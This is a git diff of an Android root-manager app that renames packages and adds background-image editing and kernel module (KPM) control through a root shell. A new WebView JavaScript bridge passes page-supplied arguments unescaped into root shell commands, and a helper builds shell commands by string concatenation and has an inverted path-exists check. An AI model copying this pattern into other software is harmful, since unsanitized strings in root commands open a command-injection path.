private fun Context.copyImageToInternalStorage(uri: Uri): Uri? {
try {
val contentResolver: ContentResolver = contentResolver
val inputStream: InputStream = contentResolver.openInputStream(uri)!!
val fileName = "custom_background.jpg"
val file = File(filesDir, fileName)
val outputStream = FileOutputStream(file)
val buffer = ByteArray(4 * 1024)
var read: Int
while (inputStream.read(buffer).also { read = it } != -1) {
outputStream.write(buffer, 0, read)
}
outputStream.flush()
outputStream.close()
inputStream.close()
return Uri.fromFile(file)
} catch (e: Exception) {
Log.e("ImageCopy", "Failed to copy image: ${e.message}")
return null
}
}
// 保存变换后的背景图片到应用内部存储并更新配置
fun Context.saveAndApplyCustomBackground(uri: Uri, transformation: BackgroundTransformation? = null) {
val finalUri = if (transformation != null) {
saveTransformedBackground(uri, transformation)
} else {
copyImageToInternalStorage(uri)
}
getSharedPreferences("theme_prefs", Context.MODE_PRIVATE)
.edit {
putString("custom_background", finalUri?.toString())
}
ThemeConfig.customBackgroundUri = finalUri
CardConfig.cardElevation = 0.dp
CardConfig.isCustomBackgroundEnabled = true
}
// 保存背景图片到应用内部存储并更新配置
fun Context.saveCustomBackground(uri: Uri?) { fun Context.saveCustomBackground(uri: Uri?) {
val newUri = uri?.let { copyImageToInternalStorage(it) } val newUri = uri?.let { copyImageToInternalStorage(it) }
getSharedPreferences("theme_prefs", Context.MODE_PRIVATE) getSharedPreferences("theme_prefs", Context.MODE_PRIVATE)
@@ -249,6 +270,10 @@ fun Context.saveCustomBackground(uri: Uri?) {
putString("custom_background", newUri?.toString()) putString("custom_background", newUri?.toString())
} }
ThemeConfig.customBackgroundUri = newUri ThemeConfig.customBackgroundUri = newUri
if (uri != null) {
CardConfig.cardElevation = 0.dp
CardConfig.isCustomBackgroundEnabled = true
}
} }
fun Context.loadCustomBackground() { fun Context.loadCustomBackground() {
@@ -340,3 +365,11 @@ private fun adjustColor(color: Color): Color {
} }
return color.copy(luminance) return color.copy(luminance)
} }
private fun mixColors(color1: Color, color2: Color, ratio: Float): Color {
val r = (color1.red * ratio + color2.red * (1 - ratio))
val g = (color1.green * ratio + color2.green * (1 - ratio))
val b = (color1.blue * ratio + color2.blue * (1 - ratio))
val a = (color1.alpha * ratio + color2.alpha * (1 - ratio))
return Color(r, g, b, a)
}

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.theme package com.sukisu.ultra.ui.theme
import androidx.compose.ui.text.TextStyle import androidx.compose.ui.text.TextStyle
import androidx.compose.ui.text.font.FontFamily import androidx.compose.ui.text.font.FontFamily

View File

@@ -0,0 +1,114 @@
package com.sukisu.ultra.ui.util
import android.content.ContentResolver
import android.content.Context
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import android.graphics.Canvas
import android.graphics.Matrix
import android.net.Uri
import android.util.Log
import java.io.File
import java.io.FileOutputStream
import java.io.InputStream
import androidx.core.graphics.createBitmap
data class BackgroundTransformation(
val scale: Float = 1f,
val offsetX: Float = 0f,
val offsetY: Float = 0f
)
fun Context.getImageBitmap(uri: Uri): Bitmap? {
return try {
val contentResolver: ContentResolver = contentResolver
val inputStream: InputStream = contentResolver.openInputStream(uri) ?: return null
val bitmap = BitmapFactory.decodeStream(inputStream)
inputStream.close()
bitmap
} catch (e: Exception) {
Log.e("BackgroundUtils", "Failed to get image bitmap: ${e.message}")
null
}
}
fun Context.applyTransformationToBitmap(bitmap: Bitmap, transformation: BackgroundTransformation): Bitmap {
val width = bitmap.width
val height = bitmap.height
// 创建与屏幕比例相同的目标位图
val displayMetrics = resources.displayMetrics
val screenWidth = displayMetrics.widthPixels
val screenHeight = displayMetrics.heightPixels
val screenRatio = screenHeight.toFloat() / screenWidth.toFloat()
// 计算目标宽高
val targetWidth: Int
val targetHeight: Int
if (width.toFloat() / height.toFloat() > screenRatio) {
targetHeight = height
targetWidth = (height / screenRatio).toInt()
} else {
targetWidth = width
targetHeight = (width * screenRatio).toInt()
}
// 创建与目标相同大小的位图
val scaledBitmap = createBitmap(targetWidth, targetHeight)
val canvas = Canvas(scaledBitmap)
val matrix = Matrix()
// 确保缩放值有效
val safeScale = maxOf(0.1f, transformation.scale)
matrix.postScale(safeScale, safeScale)
// 计算中心点
val centerX = targetWidth / 2f
val centerY = targetHeight / 2f
// 计算偏移量,确保不会出现负最大值的问题
val widthDiff = (bitmap.width * safeScale - targetWidth)
val heightDiff = (bitmap.height * safeScale - targetHeight)
// 安全计算偏移量边界
val maxOffsetX = maxOf(0f, widthDiff / 2)
val maxOffsetY = maxOf(0f, heightDiff / 2)
// 限制偏移范围
val safeOffsetX = if (maxOffsetX > 0)
transformation.offsetX.coerceIn(-maxOffsetX, maxOffsetX) else 0f
val safeOffsetY = if (maxOffsetY > 0)
transformation.offsetY.coerceIn(-maxOffsetY, maxOffsetY) else 0f
// 应用偏移量到矩阵
val translationX = -widthDiff / 2 + safeOffsetX
val translationY = -heightDiff / 2 + safeOffsetY
matrix.postTranslate(translationX, translationY)
// 将原始位图绘制到新位图上
canvas.drawBitmap(bitmap, matrix, null)
return scaledBitmap
}
fun Context.saveTransformedBackground(uri: Uri, transformation: BackgroundTransformation): Uri? {
try {
val bitmap = getImageBitmap(uri) ?: return null
val transformedBitmap = applyTransformationToBitmap(bitmap, transformation)
val fileName = "custom_background_transformed.jpg"
val file = File(filesDir, fileName)
val outputStream = FileOutputStream(file)
transformedBitmap.compress(Bitmap.CompressFormat.JPEG, 90, outputStream)
outputStream.flush()
outputStream.close()
return Uri.fromFile(file)
} catch (e: Exception) {
Log.e("BackgroundUtils", "Failed to save transformed image: ${e.message}", e)
return null
}
}

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.util package com.sukisu.ultra.ui.util
import androidx.compose.material3.SnackbarHostState import androidx.compose.material3.SnackbarHostState
import androidx.compose.runtime.compositionLocalOf import androidx.compose.runtime.compositionLocalOf

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.util package com.sukisu.ultra.ui.util
import android.annotation.SuppressLint import android.annotation.SuppressLint
import android.app.DownloadManager import android.app.DownloadManager
@@ -12,7 +12,8 @@ import android.util.Log
import androidx.compose.runtime.Composable import androidx.compose.runtime.Composable
import androidx.compose.runtime.DisposableEffect import androidx.compose.runtime.DisposableEffect
import androidx.core.content.ContextCompat import androidx.core.content.ContextCompat
import shirkneko.zako.sukisu.ui.util.module.LatestVersionInfo import com.sukisu.ultra.ui.util.module.LatestVersionInfo
import androidx.core.net.toUri
/** /**
* @author weishu * @author weishu
@@ -42,14 +43,14 @@ fun download(
onDownloading() onDownloading()
return return
} else if (status == DownloadManager.STATUS_SUCCESSFUL) { } else if (status == DownloadManager.STATUS_SUCCESSFUL) {
onDownloaded(Uri.parse(localUri)) onDownloaded(localUri.toUri())
return return
} }
} }
} }
} }
val request = DownloadManager.Request(Uri.parse(url)) val request = DownloadManager.Request(url.toUri())
.setDestinationInExternalPublicDir( .setDestinationInExternalPublicDir(
Environment.DIRECTORY_DOWNLOADS, Environment.DIRECTORY_DOWNLOADS,
fileName fileName
@@ -63,7 +64,6 @@ fun download(
} }
fun checkNewVersion(): LatestVersionInfo { fun checkNewVersion(): LatestVersionInfo {
// 改为新的 release 接口
val url = "https://api.github.com/repos/ShirkNeko/SukiSU-Ultra/releases/latest" val url = "https://api.github.com/repos/ShirkNeko/SukiSU-Ultra/releases/latest"
val defaultValue = LatestVersionInfo() val defaultValue = LatestVersionInfo()
return runCatching { return runCatching {
@@ -141,7 +141,7 @@ fun DownloadListener(context: Context, onDownloaded: (Uri) -> Unit) {
val uri = cursor.getString( val uri = cursor.getString(
cursor.getColumnIndex(DownloadManager.COLUMN_LOCAL_URI) cursor.getColumnIndex(DownloadManager.COLUMN_LOCAL_URI)
) )
onDownloaded(Uri.parse(uri)) onDownloaded(uri.toUri())
} }
} }
} }

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.util; package com.sukisu.ultra.ui.util;
/* /*
* Copyright (C) 2009 The Android Open Source Project * Copyright (C) 2009 The Android Open Source Project
* *

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.util package com.sukisu.ultra.ui.util
import androidx.compose.foundation.gestures.detectTapGestures import androidx.compose.foundation.gestures.detectTapGestures
import androidx.compose.material3.MaterialTheme import androidx.compose.material3.MaterialTheme

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.util package com.sukisu.ultra.ui.util
import android.content.ContentResolver import android.content.ContentResolver
import android.content.Context import android.content.Context
@@ -16,9 +16,9 @@ import com.topjohnwu.superuser.ShellUtils
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import kotlinx.parcelize.Parcelize import kotlinx.parcelize.Parcelize
import shirkneko.zako.sukisu.BuildConfig import com.sukisu.ultra.BuildConfig
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.ksuApp import com.sukisu.ultra.ksuApp
import org.json.JSONArray import org.json.JSONArray
import java.io.File import java.io.File
@@ -30,7 +30,7 @@ import java.io.File
private const val TAG = "KsuCli" private const val TAG = "KsuCli"
private fun getKsuDaemonPath(): String { private fun getKsuDaemonPath(): String {
return ksuApp.applicationInfo.nativeLibraryDir + File.separator + "libzakomk.so" return ksuApp.applicationInfo.nativeLibraryDir + File.separator + "libzakozako.so"
} }
object KsuCli { object KsuCli {
@@ -436,8 +436,8 @@ fun restartApp(packageName: String) {
launchApp(packageName) launchApp(packageName)
} }
private fun getSuSFSDaemonPath(): String { fun getSuSFSDaemonPath(): String {
return ksuApp.applicationInfo.nativeLibraryDir + File.separator + "libzakomksd.so" return ksuApp.applicationInfo.nativeLibraryDir + File.separator + "libzakozakozako.so"
} }
fun getSuSFS(): String { fun getSuSFS(): String {
@@ -481,7 +481,7 @@ fun susfsSUS_SU_Mode(): String {
return result return result
} }
private fun getKpmmgrPath(): String { fun getKpmmgrPath(): String {
return ksuApp.applicationInfo.nativeLibraryDir + File.separator + "libkpmmgr.so" return ksuApp.applicationInfo.nativeLibraryDir + File.separator + "libkpmmgr.so"
} }
@@ -489,48 +489,62 @@ private fun getKpmmgrPath(): String {
fun loadKpmModule(path: String, args: String? = null): String { fun loadKpmModule(path: String, args: String? = null): String {
val shell = getRootShell() val shell = getRootShell()
val cmd = "${getKpmmgrPath()} load $path ${args ?: ""}" val cmd = "${getKpmmgrPath()} load $path ${args ?: ""}"
val result = ShellUtils.fastCmd(shell, cmd) return ShellUtils.fastCmd(shell, cmd)
return result
} }
fun unloadKpmModule(name: String): String { fun unloadKpmModule(name: String): String {
val shell = getRootShell() val shell = getRootShell()
val cmd = "${getKpmmgrPath()} unload $name" val cmd = "${getKpmmgrPath()} unload $name"
val result = ShellUtils.fastCmd(shell, cmd) return ShellUtils.fastCmd(shell, cmd)
return result
} }
fun getKpmModuleCount(): String { fun getKpmModuleCount(): Int {
val shell = getRootShell() val shell = getRootShell()
val cmd = "${getKpmmgrPath()} num" val cmd = "${getKpmmgrPath()} num"
val result = ShellUtils.fastCmd(shell, cmd) val result = ShellUtils.fastCmd(shell, cmd)
return result return result.trim().toIntOrNull() ?: 0
}
fun runCmd(shell : Shell, cmd : String) : String {
return shell.newJob()
.add(cmd)
.to(mutableListOf<String>(), null)
.exec().out
.joinToString("\n")
} }
fun listKpmModules(): String { fun listKpmModules(): String {
val shell = getRootShell() val shell = getRootShell()
val cmd = "${getKpmmgrPath()} list" val cmd = "${getKpmmgrPath()} list"
val result = ShellUtils.fastCmd(shell, cmd) return try {
return result runCmd(shell, cmd).trim()
} catch (e: Exception) {
Log.e(TAG, "Failed to list KPM modules", e)
""
}
} }
fun getKpmModuleInfo(name: String): String { fun getKpmModuleInfo(name: String): String {
val shell = getRootShell() val shell = getRootShell()
val cmd = "${getKpmmgrPath()} info $name" val cmd = "${getKpmmgrPath()} info $name"
val result = ShellUtils.fastCmd(shell, cmd) return try {
return result runCmd(shell, cmd).trim()
} catch (e: Exception) {
Log.e(TAG, "Failed to get KPM module info: $name", e)
""
}
} }
fun controlKpmModule(name: String, args: String? = null): String { fun controlKpmModule(name: String, args: String? = null): Int {
val shell = getRootShell() val shell = getRootShell()
val cmd = "${getKpmmgrPath()} control $name ${args ?: ""}" val cmd = "${getKpmmgrPath()} control $name ${args ?: ""}"
val result = ShellUtils.fastCmd(shell, cmd) val result = runCmd(shell, cmd)
return result return result.trim().toIntOrNull() ?: -1
} }
fun printKpmModules(): String { fun getKpmVersion(): String {
val shell = getRootShell() val shell = getRootShell()
val cmd = "${getKpmmgrPath()} print" val cmd = "${getKpmmgrPath()} version"
val result = ShellUtils.fastCmd(shell, cmd) val result = ShellUtils.fastCmd(shell, cmd)
return result return result.trim()
} }

View File

@@ -1,11 +1,11 @@
package shirkneko.zako.sukisu.ui.util package com.sukisu.ultra.ui.util
import android.content.Context import android.content.Context
import android.os.Build import android.os.Build
import android.system.Os import android.system.Os
import com.topjohnwu.superuser.ShellUtils import com.topjohnwu.superuser.ShellUtils
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.ui.screen.getManagerVersion import com.sukisu.ultra.ui.screen.getManagerVersion
import java.io.File import java.io.File
import java.io.FileWriter import java.io.FileWriter
import java.io.PrintWriter import java.io.PrintWriter
@@ -24,7 +24,7 @@ fun getBugreportFile(context: Context): File {
val pstoreFile = File(bugreportDir, "pstore.tar.gz") val pstoreFile = File(bugreportDir, "pstore.tar.gz")
// Xiaomi/Readmi devices have diag in /data/vendor/diag // Xiaomi/Readmi devices have diag in /data/vendor/diag
val diagFile = File(bugreportDir, "diag.tar.gz") val diagFile = File(bugreportDir, "diag.tar.gz")
val opulsFile = File(bugreportDir, "opuls.tar.gz") val oplusFile = File(bugreportDir, "oplus.tar.gz")
val bootlogFile = File(bugreportDir, "bootlog.tar.gz") val bootlogFile = File(bugreportDir, "bootlog.tar.gz")
val mountsFile = File(bugreportDir, "mounts.txt") val mountsFile = File(bugreportDir, "mounts.txt")
val fileSystemsFile = File(bugreportDir, "filesystems.txt") val fileSystemsFile = File(bugreportDir, "filesystems.txt")
@@ -46,7 +46,7 @@ fun getBugreportFile(context: Context): File {
shell.newJob().add("tar -czf ${dropboxFile.absolutePath} -C /data/system/dropbox .").exec() shell.newJob().add("tar -czf ${dropboxFile.absolutePath} -C /data/system/dropbox .").exec()
shell.newJob().add("tar -czf ${pstoreFile.absolutePath} -C /sys/fs/pstore .").exec() shell.newJob().add("tar -czf ${pstoreFile.absolutePath} -C /sys/fs/pstore .").exec()
shell.newJob().add("tar -czf ${diagFile.absolutePath} -C /data/vendor/diag . --exclude=./minidump.gz").exec() shell.newJob().add("tar -czf ${diagFile.absolutePath} -C /data/vendor/diag . --exclude=./minidump.gz").exec()
shell.newJob().add("tar -czf ${opulsFile.absolutePath} -C /mnt/oplus/op2/media/log/boot_log/ .").exec() shell.newJob().add("tar -czf ${oplusFile.absolutePath} -C /mnt/oplus/op2/media/log/boot_log/ .").exec()
shell.newJob().add("tar -czf ${bootlogFile.absolutePath} -C /data/adb/ksu/log .").exec() shell.newJob().add("tar -czf ${bootlogFile.absolutePath} -C /data/adb/ksu/log .").exec()
shell.newJob().add("cat /proc/1/mountinfo > ${mountsFile.absolutePath}").exec() shell.newJob().add("cat /proc/1/mountinfo > ${mountsFile.absolutePath}").exec()

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.util package com.sukisu.ultra.ui.util
import android.app.AlertDialog import android.app.AlertDialog
import android.content.Context import android.content.Context
@@ -16,7 +16,7 @@ import kotlinx.coroutines.CompletableDeferred
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import java.io.BufferedReader import java.io.BufferedReader
import java.io.IOException import java.io.IOException
import java.io.InputStreamReader import java.io.InputStreamReader

View File

@@ -1,9 +1,9 @@
package shirkneko.zako.sukisu.ui.util package com.sukisu.ultra.ui.util
import androidx.compose.runtime.Composable import androidx.compose.runtime.Composable
import androidx.compose.ui.res.stringResource import androidx.compose.ui.res.stringResource
import com.topjohnwu.superuser.Shell import com.topjohnwu.superuser.Shell
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
@Composable @Composable
fun getSELinuxStatus(): String { fun getSELinuxStatus(): String {

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.util.module package com.sukisu.ultra.ui.util.module
data class LatestVersionInfo( data class LatestVersionInfo(
val versionCode : Int = 0, val versionCode : Int = 0,

View File

@@ -0,0 +1,156 @@
package com.sukisu.ultra.ui.viewmodel
import android.util.Log
import androidx.compose.runtime.getValue
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.setValue
import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
import com.sukisu.ultra.ui.util.*
class KpmViewModel : ViewModel() {
var moduleList by mutableStateOf(emptyList<ModuleInfo>())
private set
var search by mutableStateOf("")
internal set
var isRefreshing by mutableStateOf(false)
private set
var currentModuleDetail by mutableStateOf("")
private set
fun fetchModuleList() {
viewModelScope.launch {
isRefreshing = true
try {
val moduleCount = getKpmModuleCount()
Log.d("KsuCli", "Module count: $moduleCount")
moduleList = getAllKpmModuleInfo()
// 获取 KPM 版本信息
val kpmVersion = getKpmVersion()
Log.d("KsuCli", "KPM Version: $kpmVersion")
} catch (e: Exception) {
Log.e("KsuCli", "获取模块列表失败", e)
} finally {
isRefreshing = false
}
}
}
private fun getAllKpmModuleInfo(): List<ModuleInfo> {
val result = mutableListOf<ModuleInfo>()
try {
val str = listKpmModules()
val moduleNames = str
.split("\n")
.filter { it.isNotBlank() }
for (name in moduleNames) {
try {
val moduleInfo = parseModuleInfo(name)
moduleInfo?.let { result.add(it) }
} catch (e: Exception) {
Log.e("KsuCli", "Error processing module $name", e)
}
}
} catch (e: Exception) {
Log.e("KsuCli", "Failed to get module list", e)
}
return result
}
private fun parseModuleInfo(name: String): ModuleInfo? {
val info = getKpmModuleInfo(name)
if (info.isBlank()) return null
val properties = info.lineSequence()
.filter { line ->
val trimmed = line.trim()
trimmed.isNotEmpty() && !trimmed.startsWith("#")
}
.mapNotNull { line ->
line.split("=", limit = 2).let { parts ->
when (parts.size) {
2 -> parts[0].trim() to parts[1].trim()
1 -> parts[0].trim() to ""
else -> null
}
}
}
.toMap()
return ModuleInfo(
id = name,
name = properties["name"] ?: name,
version = properties["version"] ?: "",
author = properties["author"] ?: "",
description = properties["description"] ?: "",
args = properties["args"] ?: "",
enabled = true,
hasAction = true
)
}
fun loadModuleDetail(moduleId: String) {
viewModelScope.launch {
try {
currentModuleDetail = withContext(Dispatchers.IO) {
getKpmModuleInfo(moduleId)
}
Log.d("KsuCli", "Module detail loaded: $currentModuleDetail")
} catch (e: Exception) {
Log.e("KsuCli", "Failed to load module detail", e)
currentModuleDetail = "Error: ${e.message}"
}
}
}
var showInputDialog by mutableStateOf(false)
private set
var selectedModuleId by mutableStateOf<String?>(null)
private set
var inputArgs by mutableStateOf("")
private set
fun showInputDialog(moduleId: String) {
selectedModuleId = moduleId
showInputDialog = true
}
fun hideInputDialog() {
showInputDialog = false
selectedModuleId = null
inputArgs = ""
}
fun updateInputArgs(args: String) {
inputArgs = args
}
fun executeControl(): Int {
val moduleId = selectedModuleId ?: return -1
val result = controlKpmModule(moduleId, inputArgs)
hideInputDialog()
return result
}
data class ModuleInfo(
val id: String,
val name: String,
val version: String,
val author: String,
val description: String,
val args: String,
val enabled: Boolean,
val hasAction: Boolean
)
}

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.viewmodel package com.sukisu.ultra.ui.viewmodel
import android.os.SystemClock import android.os.SystemClock
import android.util.Log import android.util.Log
@@ -10,8 +10,8 @@ import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope import androidx.lifecycle.viewModelScope
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import shirkneko.zako.sukisu.ui.util.HanziToPinyin import com.sukisu.ultra.ui.util.HanziToPinyin
import shirkneko.zako.sukisu.ui.util.listModules import com.sukisu.ultra.ui.util.listModules
import org.json.JSONArray import org.json.JSONArray
import org.json.JSONObject import org.json.JSONObject
import java.text.Collator import java.text.Collator
@@ -40,13 +40,6 @@ class ModuleViewModel : ViewModel() {
val dirId: String, // real module id (dir name) val dirId: String, // real module id (dir name)
) )
data class ModuleUpdateInfo(
val version: String,
val versionCode: Int,
val zipUrl: String,
val changelog: String,
)
var isRefreshing by mutableStateOf(false) var isRefreshing by mutableStateOf(false)
private set private set
var search by mutableStateOf("") var search by mutableStateOf("")

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.viewmodel package com.sukisu.ultra.ui.viewmodel
import android.content.ComponentName import android.content.ComponentName
import android.content.Intent import android.content.Intent
@@ -18,12 +18,12 @@ import com.topjohnwu.superuser.Shell
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import kotlinx.parcelize.Parcelize import kotlinx.parcelize.Parcelize
import shirkneko.zako.sukisu.IKsuInterface import com.sukisu.zako.IKsuInterface
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.ksuApp import com.sukisu.ultra.ksuApp
import shirkneko.zako.sukisu.ui.KsuService import com.sukisu.ultra.ui.KsuService
import shirkneko.zako.sukisu.ui.util.HanziToPinyin import com.sukisu.ultra.ui.util.HanziToPinyin
import shirkneko.zako.sukisu.ui.util.KsuCli import com.sukisu.ultra.ui.util.KsuCli
import java.text.Collator import java.text.Collator
import java.util.* import java.util.*
import kotlin.coroutines.resume import kotlin.coroutines.resume

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.viewmodel package com.sukisu.ultra.ui.viewmodel
import android.os.Parcelable import android.os.Parcelable
import android.util.Log import android.util.Log
@@ -10,12 +10,12 @@ import androidx.lifecycle.ViewModel
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import kotlinx.parcelize.Parcelize import kotlinx.parcelize.Parcelize
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.profile.Capabilities import com.sukisu.ultra.profile.Capabilities
import shirkneko.zako.sukisu.profile.Groups import com.sukisu.ultra.profile.Groups
import shirkneko.zako.sukisu.ui.util.getAppProfileTemplate import com.sukisu.ultra.ui.util.getAppProfileTemplate
import shirkneko.zako.sukisu.ui.util.listAppProfileTemplates import com.sukisu.ultra.ui.util.listAppProfileTemplates
import shirkneko.zako.sukisu.ui.util.setAppProfileTemplate import com.sukisu.ultra.ui.util.setAppProfileTemplate
import okhttp3.OkHttpClient import okhttp3.OkHttpClient
import okhttp3.Request import okhttp3.Request
import org.json.JSONArray import org.json.JSONArray

View File

@@ -14,7 +14,7 @@
* limitations under the License. * limitations under the License.
*/ */
package shirkneko.zako.sukisu.ui.webui; package com.sukisu.ultra.ui.webui;
import java.net.URLConnection; import java.net.URLConnection;

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.webui; package com.sukisu.ultra.ui.webui;
import android.content.Context; import android.content.Context;
import android.util.Log; import android.util.Log;

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.webui package com.sukisu.ultra.ui.webui
import android.annotation.SuppressLint import android.annotation.SuppressLint
import android.app.ActivityManager import android.app.ActivityManager
@@ -16,7 +16,7 @@ import androidx.core.view.WindowInsetsCompat
import androidx.core.view.updateLayoutParams import androidx.core.view.updateLayoutParams
import androidx.webkit.WebViewAssetLoader import androidx.webkit.WebViewAssetLoader
import com.topjohnwu.superuser.Shell import com.topjohnwu.superuser.Shell
import shirkneko.zako.sukisu.ui.util.createRootShell import com.sukisu.ultra.ui.util.createRootShell
import java.io.File import java.io.File
@SuppressLint("SetJavaScriptEnabled") @SuppressLint("SetJavaScriptEnabled")

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.webui package com.sukisu.ultra.ui.webui
import android.app.Activity import android.app.Activity
import android.content.Context import android.content.Context
@@ -14,11 +14,13 @@ import androidx.core.view.WindowInsetsControllerCompat
import com.topjohnwu.superuser.CallbackList import com.topjohnwu.superuser.CallbackList
import com.topjohnwu.superuser.ShellUtils import com.topjohnwu.superuser.ShellUtils
import com.topjohnwu.superuser.internal.UiThreadHandler import com.topjohnwu.superuser.internal.UiThreadHandler
import shirkneko.zako.sukisu.ui.util.createRootShell import com.sukisu.ultra.ui.util.createRootShell
import shirkneko.zako.sukisu.ui.util.listModules import com.sukisu.ultra.ui.util.listModules
import shirkneko.zako.sukisu.ui.util.withNewRootShell import com.sukisu.ultra.ui.util.withNewRootShell
import org.json.JSONArray import org.json.JSONArray
import org.json.JSONObject import org.json.JSONObject
import com.sukisu.ultra.ui.util.controlKpmModule
import com.sukisu.ultra.ui.util.listKpmModules
import java.io.File import java.io.File
import java.util.concurrent.CompletableFuture import java.util.concurrent.CompletableFuture
@@ -197,6 +199,18 @@ class WebViewInterface(
} }
return currentModuleInfo.toString() return currentModuleInfo.toString()
} }
// =================== KPM支持 =============================
@JavascriptInterface
fun listAllKpm() : String {
return listKpmModules()
}
@JavascriptInterface
fun controlKpm(name: String, args: String) : Int {
return controlKpmModule(name, args)
}
} }
fun hideSystemUI(window: Window) = fun hideSystemUI(window: Window) =

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.utils package com.sukisu.ultra.utils
import android.content.Context import android.content.Context
import java.io.File import java.io.File

View File

@@ -0,0 +1,28 @@
package io.sukisu.ultra;
import java.util.ArrayList;
import com.sukisu.ultra.ui.util.KsuCli;
public class UltraShellHelper {
public static String runCmd(String cmds) {
StringBuilder sb = new StringBuilder();
for(String str : KsuCli.INSTANCE.getGLOBAL_MNT_SHELL()
.newJob()
.add(cmds)
.to(new ArrayList<>(), null)
.exec()
.getOut()) {
sb.append(str).append("\n");
}
return sb.toString();
}
public static boolean isPathExists(String path) {
return runCmd("file " + path).contains("No such file or directory");
}
public static void CopyFileTo(String path, String target) {
runCmd("cp -f " + path + " " + target);
}
}

View File

@@ -0,0 +1,21 @@
package io.sukisu.ultra;
import static com.sukisu.ultra.ui.util.KsuCliKt.getKpmmgrPath;
import static com.sukisu.ultra.ui.util.KsuCliKt.getSuSFSDaemonPath;
public class UltraToolInstall {
private static final String OUTSIDE_KPMMGR_PATH = "/data/adb/ksu/bin/kpmmgr";
private static final String OUTSIDE_SUSFSD_PATH = "/data/adb/ksu/bin/susfsd";
public static void tryToInstall() {
String kpmmgrPath = getKpmmgrPath();
if (UltraShellHelper.isPathExists(OUTSIDE_KPMMGR_PATH)) {
UltraShellHelper.CopyFileTo(kpmmgrPath, OUTSIDE_KPMMGR_PATH);
UltraShellHelper.runCmd("chmod a+rx " + OUTSIDE_KPMMGR_PATH);
}
String SuSFSDaemonPath = getSuSFSDaemonPath();
if (UltraShellHelper.isPathExists(OUTSIDE_SUSFSD_PATH)) {
UltraShellHelper.CopyFileTo(SuSFSDaemonPath, OUTSIDE_SUSFSD_PATH);
UltraShellHelper.runCmd("chmod a+rx " + OUTSIDE_SUSFSD_PATH);
}
}
}

View File

@@ -1,156 +0,0 @@
package shirkneko.zako.sukisu.ui
import android.os.Build
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.compose.animation.AnimatedContentTransitionScope
import androidx.compose.animation.EnterTransition
import androidx.compose.animation.ExitTransition
import androidx.compose.animation.core.tween
import androidx.compose.animation.fadeIn
import androidx.compose.animation.fadeOut
import androidx.compose.foundation.layout.WindowInsets
import androidx.compose.foundation.layout.WindowInsetsSides
import androidx.compose.foundation.layout.displayCutout
import androidx.compose.foundation.layout.only
import androidx.compose.foundation.layout.padding
import androidx.compose.foundation.layout.systemBars
import androidx.compose.foundation.layout.union
import androidx.compose.material3.Icon
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.NavigationBar
import androidx.compose.material3.NavigationBarItem
import androidx.compose.material3.Scaffold
import androidx.compose.material3.SnackbarHostState
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.runtime.CompositionLocalProvider
import androidx.compose.runtime.getValue
import androidx.compose.runtime.remember
import androidx.compose.ui.Modifier
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.graphics.luminance
import androidx.compose.ui.res.stringResource
import androidx.navigation.NavBackStackEntry
import androidx.navigation.NavHostController
import androidx.navigation.compose.rememberNavController
import com.ramcosta.composedestinations.DestinationsNavHost
import com.ramcosta.composedestinations.animations.NavHostAnimatedDestinationStyle
import com.ramcosta.composedestinations.generated.NavGraphs
import com.ramcosta.composedestinations.utils.isRouteOnBackStackAsState
import com.ramcosta.composedestinations.utils.rememberDestinationsNavigator
import shirkneko.zako.sukisu.Natives
import shirkneko.zako.sukisu.ksuApp
import shirkneko.zako.sukisu.ui.screen.BottomBarDestination
import shirkneko.zako.sukisu.ui.theme.CardConfig
import shirkneko.zako.sukisu.ui.theme.KernelSUTheme
import shirkneko.zako.sukisu.ui.theme.loadCustomBackground
import shirkneko.zako.sukisu.ui.theme.loadThemeMode
import shirkneko.zako.sukisu.ui.util.LocalSnackbarHost
import shirkneko.zako.sukisu.ui.util.rootAvailable
import shirkneko.zako.sukisu.ui.util.install
